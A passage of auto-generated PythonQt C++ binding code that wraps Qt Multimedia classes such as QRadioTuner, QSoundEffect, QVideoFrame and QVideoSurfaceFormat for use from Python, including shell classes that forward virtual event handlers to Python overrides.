return ( ((PythonQtPublicPromoter_QRadioTuner*)theWrappedObject)->promoted_availability());
}
QRadioTuner::Band PythonQtWrapper_QRadioTuner::band(QRadioTuner* theWrappedObject) const
{
return ( theWrappedObject->band());
}
QRadioTuner::Error PythonQtWrapper_QRadioTuner::error(QRadioTuner* theWrappedObject) const
{
return ( theWrappedObject->error());
}
QString PythonQtWrapper_QRadioTuner::errorString(QRadioTuner* theWrappedObject) const
{
return ( theWrappedObject->errorString());
}
int PythonQtWrapper_QRadioTuner::frequency(QRadioTuner* theWrappedObject) const
{
return ( theWrappedObject->frequency());
}
QPair<int , int > PythonQtWrapper_QRadioTuner::frequencyRange(QRadioTuner* theWrappedObject, QRadioTuner::Band band) const
{
return ( theWrappedObject->frequencyRange(band));
}
int PythonQtWrapper_QRadioTuner::frequencyStep(QRadioTuner* theWrappedObject, QRadioTuner::Band band) const
{
return ( theWrappedObject->frequencyStep(band));
}
bool PythonQtWrapper_QRadioTuner::isAntennaConnected(QRadioTuner* theWrappedObject) const
{
return ( theWrappedObject->isAntennaConnected());
}
bool PythonQtWrapper_QRadioTuner::isBandSupported(QRadioTuner* theWrappedObject, QRadioTuner::Band b) const
{
return ( theWrappedObject->isBandSupported(b));
}
bool PythonQtWrapper_QRadioTuner::isMuted(QRadioTuner* theWrappedObject) const
{
return ( theWrappedObject->isMuted());
}
bool PythonQtWrapper_QRadioTuner::isSearching(QRadioTuner* theWrappedObject) const
{
return ( theWrappedObject->isSearching());
}
bool PythonQtWrapper_QRadioTuner::isStereo(QRadioTuner* theWrappedObject) const
{
return ( theWrappedObject->isStereo());
}
QRadioData* PythonQtWrapper_QRadioTuner::radioData(QRadioTuner* theWrappedObject) const
{
return ( theWrappedObject->radioData());
}
void PythonQtWrapper_QRadioTuner::setStereoMode(QRadioTuner* theWrappedObject, QRadioTuner::StereoMode mode)
{
( theWrappedObject->setStereoMode(mode));
}
int PythonQtWrapper_QRadioTuner::signalStrength(QRadioTuner* theWrappedObject) const
{
return ( theWrappedObject->signalStrength());
}
QRadioTuner::State PythonQtWrapper_QRadioTuner::state(QRadioTuner* theWrappedObject) const
{
return ( theWrappedObject->state());
}
QRadioTuner::StereoMode PythonQtWrapper_QRadioTuner::stereoMode(QRadioTuner* theWrappedObject) const
{
return ( theWrappedObject->stereoMode());
}
int PythonQtWrapper_QRadioTuner::volume(QRadioTuner* theWrappedObject) const
{
return ( theWrappedObject->volume());
}
PythonQtShell_QSoundEffect::~PythonQtShell_QSoundEffect() {
PythonQtPrivate* priv = PythonQt::priv();
if (priv) { priv->shellClassDeleted(this); }
}
void PythonQtShell_QSoundEffect::childEvent(QChildEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("childEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QChildEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QSoundEffect::childEvent(arg__1);
}
void PythonQtShell_QSoundEffect::customEvent(QEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("customEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QSoundEffect::customEvent(arg__1);
}
bool PythonQtShell_QSoundEffect::event(QEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("event");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"bool" , "QEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
bool returnValue;
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("event", methodInfo, result);
} else {
returnValue = *((bool*)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QSoundEffect::event(arg__1);
}
bool PythonQtShell_QSoundEffect::eventFilter(QObject* arg__1, QEvent* arg__2)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("eventFilter");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"bool" , "QObject*" , "QEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(3, argumentList);
bool returnValue;
void* args[3] = {NULL, (void*)&arg__1, (void*)&arg__2};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("eventFilter", methodInfo, result);
} else {
returnValue = *((bool*)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QSoundEffect::eventFilter(arg__1, arg__2);
}
void PythonQtShell_QSoundEffect::timerEvent(QTimerEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("timerEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QTimerEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QSoundEffect::timerEvent(arg__1);
}
QSoundEffect* PythonQtWrapper_QSoundEffect::new_QSoundEffect(QObject* parent)
{
return new PythonQtShell_QSoundEffect(parent); }
QString PythonQtWrapper_QSoundEffect::category(QSoundEffect* theWrappedObject) const
{
return ( theWrappedObject->category());
}
bool PythonQtWrapper_QSoundEffect::isLoaded(QSoundEffect* theWrappedObject) const
{
return ( theWrappedObject->isLoaded());
}
bool PythonQtWrapper_QSoundEffect::isMuted(QSoundEffect* theWrappedObject) const
{
return ( theWrappedObject->isMuted());
}
bool PythonQtWrapper_QSoundEffect::isPlaying(QSoundEffect* theWrappedObject) const
{
return ( theWrappedObject->isPlaying());
}
int PythonQtWrapper_QSoundEffect::loopCount(QSoundEffect* theWrappedObject) const
{
return ( theWrappedObject->loopCount());
}
int PythonQtWrapper_QSoundEffect::loopsRemaining(QSoundEffect* theWrappedObject) const
{
return ( theWrappedObject->loopsRemaining());
}
void PythonQtWrapper_QSoundEffect::setCategory(QSoundEffect* theWrappedObject, const QString& category)
{
( theWrappedObject->setCategory(category));
}
void PythonQtWrapper_QSoundEffect::setLoopCount(QSoundEffect* theWrappedObject, int loopCount)
{
( theWrappedObject->setLoopCount(loopCount));
}
void PythonQtWrapper_QSoundEffect::setMuted(QSoundEffect* theWrappedObject, bool muted)
{
( theWrappedObject->setMuted(muted));
}
void PythonQtWrapper_QSoundEffect::setSource(QSoundEffect* theWrappedObject, const QUrl& url)
{
( theWrappedObject->setSource(url));
}
void PythonQtWrapper_QSoundEffect::setVolume(QSoundEffect* theWrappedObject, qreal volume)
{
( theWrappedObject->setVolume(volume));
}
QUrl PythonQtWrapper_QSoundEffect::source(QSoundEffect* theWrappedObject) const
{
return ( theWrappedObject->source());
}
QSoundEffect::Status PythonQtWrapper_QSoundEffect::status(QSoundEffect* theWrappedObject) const
{
return ( theWrappedObject->status());
}
QStringList PythonQtWrapper_QSoundEffect::static_QSoundEffect_supportedMimeTypes()
{
return (QSoundEffect::supportedMimeTypes());
}
qreal PythonQtWrapper_QSoundEffect::volume(QSoundEffect* theWrappedObject) const
{
return ( theWrappedObject->volume());
}
QVideoEncoderSettings* PythonQtWrapper_QVideoEncoderSettings::new_QVideoEncoderSettings()
{
return new QVideoEncoderSettings(); }
QVideoEncoderSettings* PythonQtWrapper_QVideoEncoderSettings::new_QVideoEncoderSettings(const QVideoEncoderSettings& other)
{
return new QVideoEncoderSettings(other); }
int PythonQtWrapper_QVideoEncoderSettings::bitRate(QVideoEncoderSettings* theWrappedObject) const
{
return ( theWrappedObject->bitRate());
}
QString PythonQtWrapper_QVideoEncoderSettings::codec(QVideoEncoderSettings* theWrappedObject) const
{
return ( theWrappedObject->codec());
}
QMultimedia::EncodingMode PythonQtWrapper_QVideoEncoderSettings::encodingMode(QVideoEncoderSettings* theWrappedObject) const
{
return ( theWrappedObject->encodingMode());
}
QVariant PythonQtWrapper_QVideoEncoderSettings::encodingOption(QVideoEncoderSettings* theWrappedObject, const QString& option) const
{
return ( theWrappedObject->encodingOption(option));
}
QMap<QString , QVariant > PythonQtWrapper_QVideoEncoderSettings::encodingOptions(QVideoEncoderSettings* theWrappedObject) const
{
return ( theWrappedObject->encodingOptions());
}
qreal PythonQtWrapper_QVideoEncoderSettings::frameRate(QVideoEncoderSettings* theWrappedObject) const
{
return ( theWrappedObject->frameRate());
}
bool PythonQtWrapper_QVideoEncoderSettings::isNull(QVideoEncoderSettings* theWrappedObject) const
{
return ( theWrappedObject->isNull());
}
bool PythonQtWrapper_QVideoEncoderSettings::__ne__(QVideoEncoderSettings* theWrappedObject, const QVideoEncoderSettings& other) const
{
return ( (*theWrappedObject)!= other);
}
QVideoEncoderSettings* PythonQtWrapper_QVideoEncoderSettings::operator_assign(QVideoEncoderSettings* theWrappedObject, const QVideoEncoderSettings& other)
{
return &( (*theWrappedObject)= other);
}
bool PythonQtWrapper_QVideoEncoderSettings::__eq__(QVideoEncoderSettings* theWrappedObject, const QVideoEncoderSettings& other) const
{
return ( (*theWrappedObject)== other);
}
QMultimedia::EncodingQuality PythonQtWrapper_QVideoEncoderSettings::quality(QVideoEncoderSettings* theWrappedObject) const
{
return ( theWrappedObject->quality());
}
QSize PythonQtWrapper_QVideoEncoderSettings::resolution(QVideoEncoderSettings* theWrappedObject) const
{
return ( theWrappedObject->resolution());
}
void PythonQtWrapper_QVideoEncoderSettings::setBitRate(QVideoEncoderSettings* theWrappedObject, int bitrate)
{
( theWrappedObject->setBitRate(bitrate));
}
void PythonQtWrapper_QVideoEncoderSettings::setCodec(QVideoEncoderSettings* theWrappedObject, const QString& arg__1)
{
( theWrappedObject->setCodec(arg__1));
}
void PythonQtWrapper_QVideoEncoderSettings::setEncodingMode(QVideoEncoderSettings* theWrappedObject, QMultimedia::EncodingMode arg__1)
{
( theWrappedObject->setEncodingMode(arg__1));
}
void PythonQtWrapper_QVideoEncoderSettings::setEncodingOption(QVideoEncoderSettings* theWrappedObject, const QString& option, const QVariant& value)
{
( theWrappedObject->setEncodingOption(option, value));
}
void PythonQtWrapper_QVideoEncoderSettings::setEncodingOptions(QVideoEncoderSettings* theWrappedObject, const QMap<QString , QVariant >& options)
{
( theWrappedObject->setEncodingOptions(options));
}
void PythonQtWrapper_QVideoEncoderSettings::setFrameRate(QVideoEncoderSettings* theWrappedObject, qreal rate)
{
( theWrappedObject->setFrameRate(rate));
}
void PythonQtWrapper_QVideoEncoderSettings::setQuality(QVideoEncoderSettings* theWrappedObject, QMultimedia::EncodingQuality quality)
{
( theWrappedObject->setQuality(quality));
}
void PythonQtWrapper_QVideoEncoderSettings::setResolution(QVideoEncoderSettings* theWrappedObject, const QSize& arg__1)
{
( theWrappedObject->setResolution(arg__1));
}
void PythonQtWrapper_QVideoEncoderSettings::setResolution(QVideoEncoderSettings* theWrappedObject, int width, int height)
{
( theWrappedObject->setResolution(width, height));
}
QVideoFrame* PythonQtWrapper_QVideoFrame::new_QVideoFrame()
{
return new QVideoFrame(); }
QVideoFrame* PythonQtWrapper_QVideoFrame::new_QVideoFrame(QAbstractVideoBuffer* buffer, const QSize& size, QVideoFrame::PixelFormat format)
{
return new QVideoFrame(buffer, size, format); }
QVideoFrame* PythonQtWrapper_QVideoFrame::new_QVideoFrame(const QImage& image)
{
return new QVideoFrame(image); }
QVideoFrame* PythonQtWrapper_QVideoFrame::new_QVideoFrame(const QVideoFrame& other)
{
return new QVideoFrame(other); }
QVideoFrame* PythonQtWrapper_QVideoFrame::new_QVideoFrame(int bytes, const QSize& size, int bytesPerLine, QVideoFrame::PixelFormat format)
{
return new QVideoFrame(bytes, size, bytesPerLine, format); }
QMap<QString , QVariant > PythonQtWrapper_QVideoFrame::availableMetaData(QVideoFrame* theWrappedObject) const
{
return ( theWrappedObject->availableMetaData());
}
uchar* PythonQtWrapper_QVideoFrame::bits(QVideoFrame* theWrappedObject)
{
return ( theWrappedObject->bits());
}
const uchar* PythonQtWrapper_QVideoFrame::bits(QVideoFrame* theWrappedObject) const
{
return ( theWrappedObject->bits());
}
uchar* PythonQtWrapper_QVideoFrame::bits(QVideoFrame* theWrappedObject, int plane)
{
return ( theWrappedObject->bits(plane));
}
const uchar* PythonQtWrapper_QVideoFrame::bits(QVideoFrame* theWrappedObject, int plane) const
{
return ( theWrappedObject->bits(plane));
}
int PythonQtWrapper_QVideoFrame::bytesPerLine(QVideoFrame* theWrappedObject) const
{
return ( theWrappedObject->bytesPerLine());
}
int PythonQtWrapper_QVideoFrame::bytesPerLine(QVideoFrame* theWrappedObject, int plane) const
{
return ( theWrappedObject->bytesPerLine(plane));
}
qint64 PythonQtWrapper_QVideoFrame::endTime(QVideoFrame* theWrappedObject) const
{
return ( theWrappedObject->endTime());
}
QVideoFrame::FieldType PythonQtWrapper_QVideoFrame::fieldType(QVideoFrame* theWrappedObject) const
{
return ( theWrappedObject->fieldType());
}
QVariant PythonQtWrapper_QVideoFrame::handle(QVideoFrame* theWrappedObject) const
{
return ( theWrappedObject->handle());
}
QAbstractVideoBuffer::HandleType PythonQtWrapper_QVideoFrame::handleType(QVideoFrame* theWrappedObject) const
{
return ( theWrappedObject->handleType());
}
int PythonQtWrapper_QVideoFrame::height(QVideoFrame* theWrappedObject) const
{
return ( theWrappedObject->height());
}
QImage::Format PythonQtWrapper_QVideoFrame::static_QVideoFrame_imageFormatFromPixelFormat(QVideoFrame::PixelFormat format)
{
return (QVideoFrame::imageFormatFromPixelFormat(format));
}
bool PythonQtWrapper_QVideoFrame::isMapped(QVideoFrame* theWrappedObject) const
{
return ( theWrappedObject->isMapped());
}
bool PythonQtWrapper_QVideoFrame::isReadable(QVideoFrame* theWrappedObject) const
{
return ( theWrappedObject->isReadable());
}
bool PythonQtWrapper_QVideoFrame::isValid(QVideoFrame* theWrappedObject) const
{
return ( theWrappedObject->isValid());
}
bool PythonQtWrapper_QVideoFrame::isWritable(QVideoFrame* theWrappedObject) const
{
return ( theWrappedObject->isWritable());
}
bool PythonQtWrapper_QVideoFrame::map(QVideoFrame* theWrappedObject, QAbstractVideoBuffer::MapMode mode)
{
return ( theWrappedObject->map(mode));
}
QAbstractVideoBuffer::MapMode PythonQtWrapper_QVideoFrame::mapMode(QVideoFrame* theWrappedObject) const
{
return ( theWrappedObject->mapMode());
}
int PythonQtWrapper_QVideoFrame::mappedBytes(QVideoFrame* theWrappedObject) const
{
return ( theWrappedObject->mappedBytes());
}
QVariant PythonQtWrapper_QVideoFrame::metaData(QVideoFrame* theWrappedObject, const QString& key) const
{
return ( theWrappedObject->metaData(key));
}
QVideoFrame* PythonQtWrapper_QVideoFrame::operator_assign(QVideoFrame* theWrappedObject, const QVideoFrame& other)
{
return &( (*theWrappedObject)= other);
}
QVideoFrame::PixelFormat PythonQtWrapper_QVideoFrame::pixelFormat(QVideoFrame* theWrappedObject) const
{
return ( theWrappedObject->pixelFormat());
}
QVideoFrame::PixelFormat PythonQtWrapper_QVideoFrame::static_QVideoFrame_pixelFormatFromImageFormat(QImage::Format format)
{
return (QVideoFrame::pixelFormatFromImageFormat(format));
}
int PythonQtWrapper_QVideoFrame::planeCount(QVideoFrame* theWrappedObject) const
{
return ( theWrappedObject->planeCount());
}
void PythonQtWrapper_QVideoFrame::setEndTime(QVideoFrame* theWrappedObject, qint64 time)
{
( theWrappedObject->setEndTime(time));
}
void PythonQtWrapper_QVideoFrame::setFieldType(QVideoFrame* theWrappedObject, QVideoFrame::FieldType arg__1)
{
( theWrappedObject->setFieldType(arg__1));
}
void PythonQtWrapper_QVideoFrame::setMetaData(QVideoFrame* theWrappedObject, const QString& key, const QVariant& value)
{
( theWrappedObject->setMetaData(key, value));
}
void PythonQtWrapper_QVideoFrame::setStartTime(QVideoFrame* theWrappedObject, qint64 time)
{
( theWrappedObject->setStartTime(time));
}
QSize PythonQtWrapper_QVideoFrame::size(QVideoFrame* theWrappedObject) const
{
return ( theWrappedObject->size());
}
qint64 PythonQtWrapper_QVideoFrame::startTime(QVideoFrame* theWrappedObject) const
{
return ( theWrappedObject->startTime());
}
void PythonQtWrapper_QVideoFrame::unmap(QVideoFrame* theWrappedObject)
{
( theWrappedObject->unmap());
}
int PythonQtWrapper_QVideoFrame::width(QVideoFrame* theWrappedObject) const
{
return ( theWrappedObject->width());
}
QString PythonQtWrapper_QVideoFrame::py_toString(QVideoFrame* obj) {
QString result;
QDebug d(&result);
d << *obj;
return result;
}
PythonQtShell_QVideoProbe::~PythonQtShell_QVideoProbe() {
PythonQtPrivate* priv = PythonQt::priv();
if (priv) { priv->shellClassDeleted(this); }
}
void PythonQtShell_QVideoProbe::childEvent(QChildEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("childEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QChildEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoProbe::childEvent(arg__1);
}
void PythonQtShell_QVideoProbe::customEvent(QEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("customEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoProbe::customEvent(arg__1);
}
bool PythonQtShell_QVideoProbe::event(QEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("event");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"bool" , "QEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
bool returnValue;
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("event", methodInfo, result);
} else {
returnValue = *((bool*)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QVideoProbe::event(arg__1);
}
bool PythonQtShell_QVideoProbe::eventFilter(QObject* arg__1, QEvent* arg__2)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("eventFilter");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"bool" , "QObject*" , "QEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(3, argumentList);
bool returnValue;
void* args[3] = {NULL, (void*)&arg__1, (void*)&arg__2};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("eventFilter", methodInfo, result);
} else {
returnValue = *((bool*)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QVideoProbe::eventFilter(arg__1, arg__2);
}
void PythonQtShell_QVideoProbe::timerEvent(QTimerEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("timerEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QTimerEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoProbe::timerEvent(arg__1);
}
QVideoProbe* PythonQtWrapper_QVideoProbe::new_QVideoProbe(QObject* parent)
{
return new PythonQtShell_QVideoProbe(parent); }
bool PythonQtWrapper_QVideoProbe::isActive(QVideoProbe* theWrappedObject) const
{
return ( theWrappedObject->isActive());
}
bool PythonQtWrapper_QVideoProbe::setSource(QVideoProbe* theWrappedObject, QMediaObject* source)
{
return ( theWrappedObject->setSource(source));
}
bool PythonQtWrapper_QVideoProbe::setSource(QVideoProbe* theWrappedObject, QMediaRecorder* source)
{
return ( theWrappedObject->setSource(source));
}
QVideoSurfaceFormat* PythonQtWrapper_QVideoSurfaceFormat::new_QVideoSurfaceFormat()
{
return new QVideoSurfaceFormat(); }
QVideoSurfaceFormat* PythonQtWrapper_QVideoSurfaceFormat::new_QVideoSurfaceFormat(const QSize& size, QVideoFrame::PixelFormat pixelFormat, QAbstractVideoBuffer::HandleType handleType)
{
return new QVideoSurfaceFormat(size, pixelFormat, handleType); }
QVideoSurfaceFormat* PythonQtWrapper_QVideoSurfaceFormat::new_QVideoSurfaceFormat(const QVideoSurfaceFormat& format)
{
return new QVideoSurfaceFormat(format); }
int PythonQtWrapper_QVideoSurfaceFormat::frameHeight(QVideoSurfaceFormat* theWrappedObject) const
{
return ( theWrappedObject->frameHeight());
}
qreal PythonQtWrapper_QVideoSurfaceFormat::frameRate(QVideoSurfaceFormat* theWrappedObject) const
{
return ( theWrappedObject->frameRate());
}
QSize PythonQtWrapper_QVideoSurfaceFormat::frameSize(QVideoSurfaceFormat* theWrappedObject) const
{
return ( theWrappedObject->frameSize());
}
int PythonQtWrapper_QVideoSurfaceFormat::frameWidth(QVideoSurfaceFormat* theWrappedObject) const
{
return ( theWrappedObject->frameWidth());
}
QAbstractVideoBuffer::HandleType PythonQtWrapper_QVideoSurfaceFormat::handleType(QVideoSurfaceFormat* theWrappedObject) const
{
return ( theWrappedObject->handleType());
}
bool PythonQtWrapper_QVideoSurfaceFormat::isValid(QVideoSurfaceFormat* theWrappedObject) const
{
return ( theWrappedObject->isValid());
}
bool PythonQtWrapper_QVideoSurfaceFormat::__ne__(QVideoSurfaceFormat* theWrappedObject, const QVideoSurfaceFormat& format) const
{
return ( (*theWrappedObject)!= format);
}
QVideoSurfaceFormat* PythonQtWrapper_QVideoSurfaceFormat::operator_assign(QVideoSurfaceFormat* theWrappedObject, const QVideoSurfaceFormat& format)
{
return &( (*theWrappedObject)= format);
}
bool PythonQtWrapper_QVideoSurfaceFormat::__eq__(QVideoSurfaceFormat* theWrappedObject, const QVideoSurfaceFormat& format) const
{
return ( (*theWrappedObject)== format);
}
QSize PythonQtWrapper_QVideoSurfaceFormat::pixelAspectRatio(QVideoSurfaceFormat* theWrappedObject) const
{
return ( theWrappedObject->pixelAspectRatio());
}
QVideoFrame::PixelFormat PythonQtWrapper_QVideoSurfaceFormat::pixelFormat(QVideoSurfaceFormat* theWrappedObject) const
{
return ( theWrappedObject->pixelFormat());
}
QVariant PythonQtWrapper_QVideoSurfaceFormat::property(QVideoSurfaceFormat* theWrappedObject, const char* name) const
{
return ( theWrappedObject->property(name));
}
QList<QByteArray > PythonQtWrapper_QVideoSurfaceFormat::propertyNames(QVideoSurfaceFormat* theWrappedObject) const
{
return ( theWrappedObject->propertyNames());
}
QVideoSurfaceFormat::Direction PythonQtWrapper_QVideoSurfaceFormat::scanLineDirection(QVideoSurfaceFormat* theWrappedObject) const
{
return ( theWrappedObject->scanLineDirection());
}
void PythonQtWrapper_QVideoSurfaceFormat::setFrameRate(QVideoSurfaceFormat* theWrappedObject, qreal rate)
{
( theWrappedObject->setFrameRate(rate));
}
void PythonQtWrapper_QVideoSurfaceFormat::setFrameSize(QVideoSurfaceFormat* theWrappedObject, const QSize& size)
{
( theWrappedObject->setFrameSize(size));
}
void PythonQtWrapper_QVideoSurfaceFormat::setFrameSize(QVideoSurfaceFormat* theWrappedObject, int width, int height)
{
( theWrappedObject->setFrameSize(width, height));
}
void PythonQtWrapper_QVideoSurfaceFormat::setPixelAspectRatio(QVideoSurfaceFormat* theWrappedObject, const QSize& ratio)
{
( theWrappedObject->setPixelAspectRatio(ratio));
}
void PythonQtWrapper_QVideoSurfaceFormat::setPixelAspectRatio(QVideoSurfaceFormat* theWrappedObject, int width, int height)
{
( theWrappedObject->setPixelAspectRatio(width, height));
}
void PythonQtWrapper_QVideoSurfaceFormat::setProperty(QVideoSurfaceFormat* theWrappedObject, const char* name, const QVariant& value)
{
( theWrappedObject->setProperty(name, value));
}
void PythonQtWrapper_QVideoSurfaceFormat::setScanLineDirection(QVideoSurfaceFormat* theWrappedObject, QVideoSurfaceFormat::Direction direction)
{
( theWrappedObject->setScanLineDirection(direction));
}
void PythonQtWrapper_QVideoSurfaceFormat::setViewport(QVideoSurfaceFormat* theWrappedObject, const QRect& viewport)
{
( theWrappedObject->setViewport(viewport));
}
void PythonQtWrapper_QVideoSurfaceFormat::setYCbCrColorSpace(QVideoSurfaceFormat* theWrappedObject, QVideoSurfaceFormat::YCbCrColorSpace colorSpace)
{
( theWrappedObject->setYCbCrColorSpace(colorSpace));
}
QSize PythonQtWrapper_QVideoSurfaceFormat::sizeHint(QVideoSurfaceFormat* theWrappedObject) const
{
return ( theWrappedObject->sizeHint());
}
QRect PythonQtWrapper_QVideoSurfaceFormat::viewport(QVideoSurfaceFormat* theWrappedObject) const
{
return ( theWrappedObject->viewport());
}
QVideoSurfaceFormat::YCbCrColorSpace PythonQtWrapper_QVideoSurfaceFormat::yCbCrColorSpace(QVideoSurfaceFormat* theWrappedObject) const
{
return ( theWrappedObject->yCbCrColorSpace());
}
QString PythonQtWrapper_QVideoSurfaceFormat::py_toString(QVideoSurfaceFormat* obj) {
QString result;
QDebug d(&result);
d << *obj;
return result;
}
PythonQtShell_QVideoWidget::~PythonQtShell_QVideoWidget() {
PythonQtPrivate* priv = PythonQt::priv();
if (priv) { priv->shellClassDeleted(this); }
}
void PythonQtShell_QVideoWidget::actionEvent(QActionEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("actionEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QActionEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::actionEvent(arg__1);
}
void PythonQtShell_QVideoWidget::changeEvent(QEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("changeEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
